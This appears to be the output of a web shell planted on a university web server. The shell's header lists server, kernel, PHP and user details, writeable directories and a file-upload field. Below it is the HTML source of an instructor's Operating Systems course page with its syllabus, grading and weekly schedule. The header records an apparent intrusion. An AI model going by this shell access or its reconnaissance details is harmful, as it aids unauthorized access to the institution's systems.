Sh3ll
OdayForums


Server : Apache
System : Linux profile 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
User : apache ( 48)
PHP Version : 8.0.28
Disable Function : NONE
Directory :  /var/www/html/bibhas.ghoshal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/bibhas.ghoshal/teaching_os.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Operating Systems — Course Page</title>
<style>
  body{
    font-family: "Times New Roman", Times, serif;
    color:#000;
    background:#fff;
    max-width:900px;
    margin:0 auto;
    padding:30px 24px 60px;
    font-size:15px;
    line-height:1.5;
  }
  h1{
    font-size:22px;
    font-weight:normal;
    margin:0 0 4px;
  }
  .term{
    font-size:14px;
    text-decoration:underline;
    margin:0 0 4px;
  }
  .schedule-line{
    font-size:13px;
    margin:0 0 24px;
  }
  h2{
    font-size:16px;
    color:navy;
    text-decoration:underline;
    font-weight:bold;
    margin:28px 0 10px;
  }
  p{margin:0 0 10px;}
  ul, ol{margin:0 0 10px; padding-left:28px;}
  li{margin-bottom:4px;}
  a{color:blue;}
  a:visited{color:purple;}
  table{
    border-collapse:collapse;
    width:100%;
    margin:8px 0 18px;
    font-size:13.5px;
  }
  th, td{
    border:1px solid black;
    padding:6px 8px;
    text-align:center;
    vertical-align:top;
  }
  th{background:#e8e8e8;}
  table.info td{text-align:left;}
  table.info th{text-align:left; width:180px; background:#f2f2f2;}
  .badge{
    display:inline-block;
    font-size:11px;
    font-weight:bold;
    padding:1px 5px;
    border:1px solid #999;
    border-radius:3px;
    margin-right:4px;
  }
  .b-eval{background:#ffe0e0;}
  .b-quiz{background:#fff3cf;}
  .b-mid{background:#e0e8ff;}
  .small{font-size:12.5px; color:#333;}
  hr{margin:24px 0; border:none; border-top:1px solid #999;}
  .toc{font-size:13.5px; margin-bottom:20px;}
  .toc a{margin-right:14px;}
</style>
</head>
<body>

<h1>Operating Systems</h1>
<p class="term">Instructor: Bibhas Ghoshal</p>
<p class="schedule-line">Class web page: <a href="https://profile.iiita.ac.in/bibhas.ghoshal/teaching_os.html" target="_blank">https://profile.iiita.ac.in/bibhas.ghoshal/teaching_os.html</a></p>

<div class="toc">
  <a href="#admin">Administrative</a>
  <a href="#goals">Course goals</a>
   <a href="#topics">Course topics</a>
  <a href="#note">Things to Note</a>
 
  
  <a href="#assignments">Programming assignments</a>
  <a href="#grading">Grading</a>
  <a href="#schedule">Weekly schedule</a>
</div>

<hr>

<h2 id="admin">Administrative</h2>
<table class="info">
  <tr><th>Discussion forum</th><td>Google Classroom — Announcements and Submission of assignments</td></tr>
  <tr><th>Textbook</th><td><ol>
    <li><i>Operating Systems: Three Easy Pieces</i>, by Remzi H. Arpaci-Dusseau and Andrea C. Arpaci-Dusseau (University of Wisconsin-Madison) <a href ="https://pages.cs.wisc.edu/~remzi/OSTEP/">[Website]</a></li>
   <li><i>Operating System Concepts</i>, 10th Edition, by Silberschatz, Galvin, and Gagne <a href ="https://www.google.com/url?sa=t&source=web&rct=j&opi=89978449&url=https://codex.cs.yale.edu/avi/os-book/OS10-global/slide-dir/index.html&ved=2ahUKEwjfytzJpuGVAxUGkOEIHZJXNTIQFnoECBkQAQ&usg=AOvVaw1CpZTztFoZLepAb4oI_9XX">[Slides]</a></li>
  
  <li><i> Xv6: A simple, Unix-like Teaching Operating System</i>, by Russ Cox, Frans Kaashoek, Robert Morris  <a href ="http://pdos.csail.mit.edu/6.828/2014/xv6/book-rev8.pdf">[PDF link of the book]</a></li>
  <li><i>Modern Operating Systems, Pearson</i>, 4th Edition, by Andrew S. Tanenbaum and Herbert Bros <a href ="https://os.ecci.ucr.ac.cr/slides/Andrew-S.-Tanenbaum-Modern-Operating-Systems.pdf">[PDF link of the book]</a></li>
  
  
  
  
  
  
  </ol> 
  
  
  
  
  
  
  </td></tr>
  <tr><th>Slides</th><td> Lecture slides are the primary reference; Almost everything discussed in class will be on the slides; The PDF slides link out to further reading.</td></tr>
  <tr><th>Slides</th><td>Please download slides from the class web page.</td></tr>
</table>

<h2 id="goals">Course goals</h2>
<ul>
  
  <li><b>Cover important systems concepts in general</b> — Abstraction, Resource management,Isolation, Caching, Concurrency, Memory management, I/O, protection.</li>
  <li><b>Introduce Operating System Concepts</b> — Kernel, Booting, Scheduling, Synchronization, Memory management, Device and I/O, File System. It is very diifficult to use a computer without interacting with the OS, and understanding it makes you a more effective programmer.</li>
  <li><b>Teach you to deal with larger software systems</b> </li>
</ul>

<h2 id="topics">Course topics</h2>
<ul>
  <li>Threads &amp; Processes</li>
  <li>Virtual Memory</li>
  <li>Scheduling</li>
  <li>Inter-process Communication</li>
  <li>Concurrency &amp; Synchronization</li>
  <li>I/O</li>
  <li>Disks, File Systems, Network File Systems</li>
  <li>Protection &amp; Security</li>
  <li>Virtual Machines</li>
</ul>
<p class="small"><i>Note: Lectures will often take xv6 (a lightweight Unix variant) as an example. <a href ="https://pdos.csail.mit.edu/6.828/2014/xv6.html">[xv6 Weblink]</a></li></i></p>


<h2 id="note">Things to Note : </h2>
<ul>

 <li><b>Lectures:</b> Chalkboard and slide presentations, supplemented by tutorials. Bring a laptop with Linux (WSL on Windows is fine) or Mac, with xv6 installed.</li>
<li><b>Lab:</b> Xv6 based assignments covering OS topics discussed in lecture classes</li>
 <li><b>Attendance:</b>  < 75% will not be allowed to appear in End-Semester Exam. 
  <li><b>Surprise quiz:</b> Will be announced during lecture class. Another reason for attending all lectures</li> 
  <li>Weekly evaluations of tutorial and lab assignments (done by TAs) — Lab assignments to be submitted on Google Classroom.</li> 
  <li><b>Mid-semester  and End-semester Exam:</b> will be announced by the Academic Section.</li>
<li><b>Final project evaluation:</b> will be announced in class and on Google Classroom.</li>
</ul>





<h2 id="assignments">Programming assignments</h2>
<ul>
  <li>Implement parts of the xv6 operating system — built for x86 hardware, run on a hardware emulator.</li>
  <li>Homeworks  due every Friday.</li>
  <li>Implementation projects on Threads, User processes, IPC, Synchronization, OS security, Virtual memory, File system : Will be announced post-mid-sem and evaluated before end-sem .</li>
  <li>Lab 1 distributed at the end of this week.</li>
  <li>Projects to done in groups of up to 6 people — Select your group members as early as possible.</li>
</ul>

<h2 id="grading">Grading</h2>
<p><b>Midsem = 25 marks &nbsp;|&nbsp; End sem = 40 marks &nbsp;|&nbsp; Internal Assessment = 35 marks</b></p>
<table>
  <tr><th>Internal assessment component</th><th>Marks</th></tr>
  <tr><td style="text-align:left;">i. Two Quizzes (pre-mid sem and post-midsem; can be surprise quizzes)</td><td>10</td></tr>
  <tr><td style="text-align:left;">ii. Lab assignments</td><td>10</td></tr>
  <tr><td style="text-align:left;">iii. Project — 50% passing test cases, 50% design &amp; style / Lab Test </td><td>10</td></tr>
  <tr><td style="text-align:left;">iv. Attendance</td><td>5</td></tr>
  <tr><td style="text-align:left;"><b>Total</b></td><td><b>35</b></td></tr>
</table>
<p class="small">No incompletes before mid-sem or end-sem — Talk to the TAs/instructor as soon as possible if you run into real problems. Please turn in working code: large software systems aren't just about producing working code, they're about producing code other people can understand. That is why we have group projects.</p>

<h2 id="schedule">Weekly schedule</h2>
<table>
  <thead>
    <tr>
      <th style="width:5%;">Week</th>
      <th style="width:27%;">Lecture</th>
      <th style="width:27%;">Tutorial</th>
      <th style="width:23%;">Lab</th>
      <th style="width:18%;">Resources</th>
    </tr>
  </thead>
  <tbody id="schedule-body"></tbody>
</table>

<hr>
<p class="small">Announcements and submission of assignments happen on Google Classroom. Slides, lecture videos, tutorials, lab assignments, and handouts are posted on the <a href="https://profile.iiita.ac.in/bibhas.ghoshal/teaching_os.html" target="_blank">class web page</a>.</p>

<script>
// Each row: [week, lecture, tutorial, lab, resources]
// Empty string -> blank cell. Week merges handled via rowspan.
const rows = [
  [0, "Lect 0 – Computer system <br>  <a href=https://profile.iiita.ac.in/bibhas.ghoshal/OS_2026/Lectures/OS_Lecture0_Computer_System.pdf>[ Slides ] </a>", "Tut 0 – Scenario leading to exec of program <br>  <a href=https://profile.iiita.ac.in/bibhas.ghoshal/OS_2026/Tutorial/Lecture_0_Tutorial.pdf> [ Tut0 ] </a>  <a href=https://profile.iiita.ac.in/bibhas.ghoshal/OS_2026/Tutorial/tut_codes/hello.c>  [ hello.c ] </a>", " Lab 0 :  Working with Linux / Shell Scripting <br> <a href=https://profile.iiita.ac.in/bibhas.ghoshal/OS_2026/Lab/lab0/Tut_Unix_fundamentals.pdf>[Handout_Unix_fundamentals] </a> <a href=https://profile.iiita.ac.in/bibhas.ghoshal/OS_2026/Lab/lab0/Tut_Shell_Scripting.pdf>[Handout_Shell_Scripting ]</a> <br> <a href=https://profile.iiita.ac.in/bibhas.ghoshal/OS_2026/Lab/lab0/Lab_Assignments.pdf>[Lab_Assignments] </a>", "Unix shell scripting <br>  <a href=https://profile.iiita.ac.in/bibhas.ghoshal/OS_2026/Lab/lab0/unix_tutorial.pdf>[Tut_Unix]</a> <a href=https://profile.iiita.ac.in/bibhas.ghoshal/OS_2026/Lab/lab0/abs-guide.pdf>[Book_Unix_Shell_Scripting]</a>"],

  [1, "Lect 1 – Introduction, Fundamental Concepts, Booting", "Tut 1 – Concept of virtualization, task management, security", "", "xv6 installation files"],
  [1, "Lect 2 – System calls and Interrupts", "Tut 2 – Unix system calls: open, read, write, lseek", "Lab 1 – Booting xv6, exploring xv6, running a program in xv6, xv6 system calls: date, count", "Intro to xv6 system calls"],

  [2, "Lect 3 – Process Management 1", "Tut 3 – Process image in xv6", "", ""],
  [2, "Lect 4 – Process Management 2", "Tut 4 – Process management APIs (Linux/xv6)", "Lab 2 – Process management in xv6 (fork, exec)", "Three Easy Pieces – Process &amp; Process APIs, ch. 4–5"],
  [2, "", "", "<span class='badge b-eval'>EVAL</span>Evaluation 1", ""],

  [3, "Lect 5 – Scheduling 1", "", "", ""],
  [3, "Lect 6 – Scheduling 2", "Tut 5 – Process scheduling codes; shown in xv6", "Lab 4 – Process scheduling in xv6", "Three Easy Pieces – Process Scheduling, ch. 6"],
  [3, "", "<span class='badge b-quiz'>QUIZ</span>", "", ""],

  [4, "Lect 6 – Threads", "Tut 6 – Threads", "Lab 5 – Working with threads in xv6", "POSIX thread programming"],
  [4, "Lect 7 – IPC 1", "Tut 7 – IPC (shared memory, pipe)", "", ""],
  [4, "", "", "<span class='badge b-eval'>EVAL</span>Evaluation 2", ""],

  [5, "Lect 8 – IPC 2", "Tut 7 – IPC (message passing, socket)", "Explore/extend xv6's pipe implementation; implement POSIX-like shared memory", ""],
  [5, "Lect 9 – Process Synchronization I: Concurrency", "Tut 8 – Race condition, locks", "", "Three Easy Pieces – Synchronization/Locks; Lamport's Bakery algorithm"],

  [6, "Lect 10 – Process Synchronization II: Condition variables, semaphores, synchronization problems", "Tut 9 – POSIX semaphores", "Lab 6 – Concurrency in xv6", "Three Easy Pieces – Semaphores; Little Book of Semaphores"],
  [6, "Lect 11 – Process Synchronization III: Synchronization problems", "", "", ""],
  [6, "", "", "<span class='badge b-eval'>EVAL</span>Evaluation 3", ""],

  [7, "Lect 12 – Deadlock", "Tut 10 – Detecting and avoiding deadlocks", "Lab 7 – Synchronization problems in xv6", "Three Easy Pieces – Virtual memory &amp; address translation"],
  [7, "<span class='badge b-mid'>MID</span>Mid-sem", "", "Mid-sem evaluation", ""],

  [8, "Lect 13 – Memory Management 1", "Tut 11 – First fit, worst fit, etc. (Three Easy Pieces codes)", "", "Three Easy Pieces – Paging &amp; segmentation"],
  [8, "Lect 14 – Memory Management 2", "Tut 12 – Paging and segmentation", "Lab 8 – Memory management in xv6", ""],

  [9, "Lect 15 – Memory Management 3", "", "", "Three Easy Pieces – Demand paging"],
  [9, "Lect 16 – Memory Management 3 (cont.)", "Tut 14 – Demand paging and thrashing", "Lab 8 – Memory management in xv6", ""],
  [9, "", "", "<span class='badge b-eval'>EVAL</span>Evaluation 5", ""],

  [10, "Lect 17 – Devices 1", "", "", ""],
  [10, "Lect 18 – Devices 2", "Tut 14 – I/O management", "Lab 9 – I/O management in xv6", "Three Easy Pieces – I/O management"],
  [10, "", "", "<span class='badge b-eval'>EVAL</span>Evaluation 6", ""],

  [11, "Lect 19 – Files and Directories 1", "", "", ""],
  [11, "Lect 20 – Files and Directories 2", "Tut 15 – Files and directories", "Lab 10 – Introduction to FUSE", ""],

  [12, "Lect 21 – File System Implementation 1", "", "", ""],
  [12, "Lect 22 – File System Implementation 2", "Tut 16 – File system implementation", "Lab 11 – Working with FUSE", ""],
  [12, "", "", "<span class='badge b-eval'>EVAL</span>Evaluation 7", ""],

  [13, "Lect 22 – OS Security 1", "Tut 17 – OS security", "", ""],
  [13, "Lect 23 – OS Security 2", "", "Project work", ""],

  [14, "Lect 24 – Virtual Machines", "Tut 18 – Creation of VMs", "Project work", ""],
  [14, "Lect 25 – Virtual Machines", "", "", ""],

  [15, "Lect 26 – Idea of Distributed System", "", "", ""],
  [15, "Lect 27 – Distributed OS", "Tut 19 – Containers", "", ""],
  [15, "", "", "<b>Final Project Evaluation</b>", ""],
];

const tbody = document.getElementById('schedule-body');

// group rows by week to compute rowspan
const weekCounts = {};
rows.forEach(r => { weekCounts[r[0]] = (weekCounts[r[0]] || 0) + 1; });
const seen = {};

rows.forEach(r => {
  const [week, lect, tut, lab, res] = r;
  const tr = document.createElement('tr');
  if (!seen[week]) {
    seen[week] = true;
    const wkTd = document.createElement('td');
    wkTd.rowSpan = weekCounts[week];
    wkTd.style.fontWeight = 'bold';
    wkTd.style.verticalAlign = 'middle';
    wkTd.textContent = week;
    tr.appendChild(wkTd);
  }
  [lect, tut, lab, res].forEach(val => {
    const td = document.createElement('td');
    td.style.textAlign = 'left';
    td.innerHTML = val || '';
    tr.appendChild(td);
  });
  tbody.appendChild(tr);
});
</script>

</body>
</html>

ZeroDay Forums Mini